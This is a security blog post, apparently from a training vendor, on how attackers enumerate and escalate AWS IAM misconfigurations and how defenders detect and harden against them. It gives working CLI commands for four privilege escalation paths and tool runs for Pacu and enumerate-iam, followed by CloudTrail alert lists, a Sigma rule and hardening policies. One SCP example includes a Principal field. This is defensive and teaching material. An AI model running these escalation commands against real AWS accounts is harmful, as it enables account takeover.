Most AWS breaches do not start with a zero-day exploit or a sophisticated piece of malware. They start with a misconfigured IAM role, an overpermissioned service account, or a forgotten access key sitting in a public GitHub repository. The attacker does not need to be clever. They just need to find what you already left open.
AWS Identity and Access Management is the backbone of every cloud environment, and it is also the most consistently abused attack surface in the cloud. According to Gartner, through 2025, at least 99% of cloud security failures will be the customer's fault, and the majority of those failures trace back to identity and access misconfigurations. If your AWS permissions have not been audited recently, you are not secure. You are just lucky.
This post walks through how attackers enumerate, escalate, and exploit IAM misconfigurations in AWS environments, and what defensive and offensive practitioners need to know to stop it.
When a threat actor gains initial access to an AWS environment, the first thing they do is figure out what they can reach. IAM is the gatekeeper for every AWS API call, every S3 bucket, every Lambda function, every RDS instance. A single over-permissioned role can hand an attacker the keys to your entire cloud infrastructure.
The root problem is how permissions accumulate over time. Developers request broad permissions to unblock themselves. Automation pipelines get AdministratorAccess because it is easier than scoping down. Roles created for temporary projects never get cleaned up. And then those roles sit there, quietly, waiting.
There are several core misconfigurations that create critical exposure in AWS environments.
"Action": "*" or "Resource": "*" grant unrestricted access far beyond what any single service or workflow should need.iam:CreateUser directly, but if it has iam:AttachUserPolicy and iam:CreatePolicyVersion, the end result is the same.Before escalating, an attacker needs to understand what they have. Even with minimal permissions, a significant amount of enumeration is possible.
Typical reconnaissance against IAM involves calling GetCallerIdentity, ListUsers, ListRoles, and ListPolicies. These calls are logged in CloudTrail, but many teams do not alert on read-only IAM API calls, which is a gap attackers exploit deliberately.
A more careful attacker uses tools like Pacu, the AWS exploitation framework developed by Rhino Security Labs, or enumerate-iam, a purpose-built tool for testing what permissions a given credential set actually has.
# Clone and install enumerate-iam
git clone https://github.com/andresriancho/enumerate-iam.git
cd enumerate-iam
pip install -r requirements.txt
# Run against a target access key
python enumerate_iam.py \
--access-key AKIAIOSFODNN7EXAMPLE \
--secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \
--region us-east-1
[cta]
This tool fires off hundreds of IAM API calls and reports back which succeed, effectively mapping the permission surface of a compromised credential without requiring iam:SimulatePrincipalPolicy access.
Pacu takes this further by providing modular attack chains for IAM enumeration and exploitation.
# Install Pacu
pip3 install pacu
# Launch and configure with compromised keys
pacu
# Inside Pacu shell, run IAM enumeration module
run iam__enum_permissions
run iam__enum_users_roles_policies_groups
[cta]
The output from these modules gives an attacker a complete picture of what identities exist in the environment, what policies are attached to them, and where potential escalation paths live.
Rhino Security Labs published research identifying over 21 distinct privilege escalation paths in AWS IAM. Understanding these paths is essential for both offensive security practitioners and defenders building detection logic. If you want to go deep on these techniques in a structured lab environment, the Redfox Cybersecurity Academy AWS Pentesting Course covers enumeration through full privilege escalation with hands-on scenarios.
If a principal has iam:CreatePolicyVersion, they can overwrite an existing policy with one that grants AdministratorAccess. This does not require creating a new policy, it only requires modifying one that already exists, making it harder to detect as a new creation event.
# Write a new permissive policy version
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
--policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}]
}' \
--set-as-default
[cta]
If a principal has iam:AttachRolePolicy, they can attach the AWS-managed AdministratorAccess policy directly to any role they can reference. If that role is assumable by them or by a resource they control, the escalation is complete.
# Attach AdministratorAccess to a target role
aws iam attach-role-policy \
--role-name TargetRole \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
[cta]
A principal with iam:UpdateAssumeRolePolicy can modify the trust relationship on a high-privilege role to include their own identity, then assume that role directly.
# Update trust policy to allow attacker-controlled principal to assume target role
aws iam update-assume-role-policy \
--role-name HighPrivilegeRole \
--policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:user/compromised-user"
},
"Action": "sts:AssumeRole"
}]
}'
# Now assume the high-privilege role
aws sts assume-role \
--role-arn arn:aws:iam::123456789012:role/HighPrivilegeRole \
--role-session-name escalated-session
[cta]
This is one of the most powerful and underdetected escalation paths because modifying a trust policy does not always trigger obvious security alerts in teams that have not built specific detection logic for UpdateAssumeRolePolicy calls.
If a principal has iam:PassRole and lambda:CreateFunction together, they can create a Lambda function, pass a high-privilege role to it, and invoke that function to execute arbitrary code under the elevated role's permissions.
# Create a Lambda function with a high-privilege execution role
aws lambda create-function \
--function-name escalation-fn \
--runtime python3.11 \
--role arn:aws:iam::123456789012:role/AdminLambdaRole \
--handler lambda_function.lambda_handler \
--zip-file fileb://escalation_payload.zip
# Invoke it
aws lambda invoke \
--function-name escalation-fn \
--payload '{}' \
output.json
[cta]
The Lambda execution context operates with the permissions of the passed role, not the invoking principal. This means the escalation happens entirely within the Lambda runtime, not in the context of the original compromised credential.
If you want to practice these exact privilege escalation chains in a controlled cloud lab, take a look at the AWS Pentesting Course at Redfox Cybersecurity Academy, which walks through each escalation path step by step.
Offensive knowledge is only half the equation. Defenders need detection logic that fires before an attacker reaches their goal. CloudTrail captures every IAM API call, and building targeted alerting on high-risk calls is one of the most effective controls available.
The following CloudTrail event names represent high-risk IAM actions that should generate immediate alerts when called by non-administrative principals or when called outside established automation pipelines.
iam:CreatePolicyVersion (especially with SetAsDefault=true)
iam:UpdateAssumeRolePolicy
iam:AttachRolePolicy / iam:AttachUserPolicy
iam:PutRolePolicy / iam:PutUserPolicy
iam:CreateAccessKey (for another user)
iam:PassRole (to Lambda, EC2, Glue, or SageMaker)
sts:AssumeRole (cross-account or to high-privilege roles)
If you are running CloudTrail logs into S3 and querying them with Athena, the following query surfaces all CreatePolicyVersion calls in the last 30 days.
SELECT
eventtime,
useridentity.arn AS caller,
requestparameters,
sourceipaddress,
useragent
FROM cloudtrail_logs
WHERE
eventname = 'CreatePolicyVersion'
AND eventtime >= DATE_FORMAT(DATE_ADD('day', -30, CURRENT_DATE), '%Y-%m-%dT%H:%i:%sZ')
ORDER BY eventtime DESC;
[cta]
Expand this pattern with a UNION across all high-risk event names to build a single view of suspicious IAM activity across your entire account or AWS Organization.
For teams feeding CloudTrail into a SIEM, this Sigma rule detects the UpdateAssumeRolePolicy escalation path.
title: AWS IAM UpdateAssumeRolePolicy Privilege Escalation
status: experimental
description: Detects modification of an IAM role trust policy, which can be used for privilege escalation
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventSource: iam.amazonaws.com
eventName: UpdateAssumeRolePolicy
filter_automation:
userIdentity.sessionContext.sessionIssuer.type: Role
userIdentity.arn|contains: '/pipeline-role'
condition: selection and not filter_automation
level: high
tags:
- attack.privilege_escalation
- attack.t1484.001
[cta]
Tune the filter block to match your known-good automation roles. Everything outside that filter should alert.
Knowing how attacks work is only useful if it drives remediation. The most impactful thing most AWS teams can do right now is run a permissions audit and cut down what they find.
AWS IAM Access Analyzer is a native tool that identifies resources shared with external principals and surfaces overly broad policies. Enable it at the Organizations level to get coverage across all accounts.
# Enable Access Analyzer at the account level
aws accessanalyzer create-analyzer \
--analyzer-name main-analyzer \
--type ACCOUNT
# List active findings
aws accessanalyzer list-findings \
--analyzer-name main-analyzer \
--filter '{"status": {"eq": ["ACTIVE"]}}'
[cta]
IAM Access Advisor shows the last time each service was accessed by a given principal. Any service that has never been accessed, or has not been accessed in 90 days or more, is a candidate for removal.
# Get the last accessed report for a specific role
aws iam generate-service-last-accessed-details \
--arn arn:aws:iam::123456789012:role/OverPermissionedRole
# Poll until complete, then retrieve
aws iam get-service-last-accessed-details \
--job-id <JobId>
[cta]
Combine Access Advisor data with your existing policies to calculate the permission gap: what is allowed versus what is actually used. Any gap is unnecessary risk.
Cloudsplaining is an open-source tool that scans IAM policies and generates an HTML risk report, flagging privilege escalation paths, resource exposure, and data exfiltration risks.
# Install
pip install cloudsplaining
# Export all IAM policies from your account
aws iam get-account-authorization-details > account-auth-details.json
# Run the scan
cloudsplaining scan \
--input-file account-auth-details.json \
--output ./cloudsplaining-report
[cta]
The generated report groups findings by severity and maps them to MITRE ATT&CK techniques, giving security teams a prioritized remediation queue rather than a flat list of issues.
Audit findings need to translate into durable controls. These are the changes that make the most difference.
Permission boundaries cap the maximum permissions any role or user can have, even if a more permissive policy is later attached. Set a boundary policy that explicitly denies the most dangerous IAM actions across all developer-created roles.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyDangerousIAMActions",
"Effect": "Deny",
"Action": [
"iam:CreatePolicyVersion",
"iam:DeletePolicyVersion",
"iam:SetDefaultPolicyVersion",
"iam:UpdateAssumeRolePolicy",
"iam:AttachRolePolicy",
"iam:DetachRolePolicy",
"iam:PutRolePolicy",
"iam:DeleteRolePolicy"
],
"Resource": "*"
}
]
}
[cta]
Service Control Policies applied at the AWS Organizations level are the strongest preventive control available. They cannot be overridden by any principal within an account, including the root user.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyRootUserActions",
"Effect": "Deny",
"Principal": "*",
"Action": "*",
"Resource": "*",
"Condition": {
"StringLike": {
"aws:PrincipalArn": "arn:aws:iam::*:root"
}
}
}
]
}
[cta]
Apply targeted SCPs to deny IAM escalation paths across your entire organization, not just in individual accounts. A single misconfigured account should never be able to impact the rest of your organization.
IAM is not a set-it-and-forget-it configuration. It is a living attack surface that grows every time a new role is created, a policy is cloned, or a developer asks for broader access to unblock a sprint. The attackers who are most effective in cloud environments are not the ones with the most sophisticated exploits. They are the ones who understand IAM better than the teams defending it.
The path from a leaked access key to full account compromise is often a matter of a few API calls and a misconfigured trust policy. The privilege escalation paths covered here are not theoretical. They are found in real AWS environments during penetration tests every week.
If you want to develop real hands-on skills for finding and exploiting IAM misconfigurations, and for building the detection logic to stop them, the Redfox Cybersecurity Academy AWS Pentesting Course gives you a structured, lab-driven path through everything from initial enumeration to cross-account privilege escalation and post-exploitation in cloud environments.
Your permissions are either locked down or they are a liability. There is no middle ground.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
